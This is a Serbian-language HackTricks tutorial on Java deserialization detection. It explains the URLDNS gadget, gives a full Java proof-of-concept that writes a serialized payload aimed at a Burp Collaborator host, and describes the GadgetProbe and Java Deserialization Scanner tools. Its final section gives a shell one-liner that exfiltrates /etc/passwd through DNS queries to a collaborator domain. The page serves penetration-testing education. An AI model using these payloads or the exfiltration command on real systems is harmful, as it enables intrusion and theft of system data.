hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

11 KiB

Java DNS Deserialization, GadgetProbe i Java Deserialization Scanner

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

DNS zahtev na deserializaciji

Klasa java.net.URL implementira Serializable, što znači da se ova klasa može serijalizovati.

public final class URL implements java.io.Serializable {

Ova klasa ima znatiželjno ponašanje. Iz dokumentacije: “Dva hosta se smatraju ekvivalentnim ako se oba imena hosta mogu rešiti u iste IP adrese”.
Zatim, svaki put kada URL objekat pozove bilo koju od funkcija equals ili hashCode, DNS zahtev za dobijanje IP adrese će biti poslat.

Pozivanje funkcije hashCode iz URL objekta je prilično jednostavno, dovoljno je da se ovaj objekat umetne unutar HashMap koja će biti deserializovana. To je zato što se na kraju funkcije readObject iz HashMap izvršava ovaj kod:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

To će izvršiti putVal sa svakom vrednošću unutar HashMap. Ali, relevantniji je poziv na hash sa svakom vrednošću. Ovo je kod funkcije hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kao što možete primetiti, kada se deserializuje HashMap, funkcija hash će biti izvršena sa svakim objektom i tokom izvršenja hash biće izvršena .hashCode() objekta. Stoga, ako deserializujete HashMap koja sadrži URL objekat, URL objekat će izvršiti .hashCode().

Sada, hajde da pogledamo kod URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kao što možete videti, kada URLObject izvrši .hashCode(), poziva se hashCode(this). U nastavku možete videti kod ove funkcije:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Možete videti da se getHostAddress izvršava za domen, pokrećući DNS upit.

Stoga, ova klasa može biti zloupotrebljena kako bi se pokrenuo DNS upit da prikaže da je deseralizacija moguća, ili čak da ekstrahuje informacije (možete dodati kao poddomen izlaz izvršenja komande).

URLDNS payload kod primer

Možete pronaći URDNS payload kod od ysoserial ovde. Međutim, samo da bi bilo lakše razumeti kako to kodirati, napravio sam svoj PoC (zasnovan na onom iz ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Više informacija

GadgetProbe

Možete preuzeti GadgetProbe iz Burp Suite App Store-a (Extender).

GadgetProbe će pokušati da utvrdi da li neke Java klase postoje na Java klasi servera kako biste znali da li je ranjiv na neki poznati exploit.

Kako to funkcioniše

GadgetProbe će koristiti isti DNS payload iz prethodne sekcije ali pre nego što izvrši DNS upit, pokušaće da deserijalizuje proizvoljnu klasu. Ako proizvoljna klasa postoji, DNS upit će biti poslat i GadgetProbe će zabeležiti da ova klasa postoji. Ako DNS zahtev nikada nije poslat, to znači da proizvoljna klasa nije uspešno deserijalizovana, tako da ili nije prisutna ili nije serializable/exploitable.

Unutar github-a, GadgetProbe ima neke rečnike sa Java klasama za testiranje.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Više informacija

Java Deserialization Scanner

Ovaj skener se može preuzeti iz Burp App Store-a (Extender).
Ekstenzija ima pasivne i aktivne mogućnosti.

Pasivno

Podrazumevano pasivno proverava sve zahteve i odgovore koji se šalju tražeći Java serializovane magične bajtove i predstaviće upozorenje o ranjivosti ako se bilo koja pronađe:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Aktivno

Ručno testiranje

Možete odabrati zahtev, desni klik i Send request to DS - Manual Testing.
Zatim, unutar Deserialization Scanner Tab --> Manual testing tab možete odabrati tačku umetanja. I pokrenuti testiranje (Odaberite odgovarajući napad u zavisnosti od korišćenog kodiranja).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Čak i ako se ovo naziva "Ručno testiranje", prilično je automatizovano. Automatski će proveriti da li je deserijalizacija ranjiva na bilo koji ysoserial payload proveravajući biblioteke prisutne na web serveru i istaknuti one ranjive. Da biste proverili ranjive biblioteke, možete odabrati da pokrenete Javas Sleeps, sleeps putem CPU potrošnje, ili koristeći DNS kao što je prethodno pomenuto.

Eksploatacija

Kada identifikujete ranjivu biblioteku, možete poslati zahtev na Exploiting Tab.
U ovoj kartici morate ponovo odabrati tačku injekcije, napišite ranjivu biblioteku za koju želite da kreirate payload, i komandu. Zatim, samo pritisnite odgovarajući Attack dugme.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil informacije

Neka vaš payload izvrši nešto poput sledećeg:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Više Informacija

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}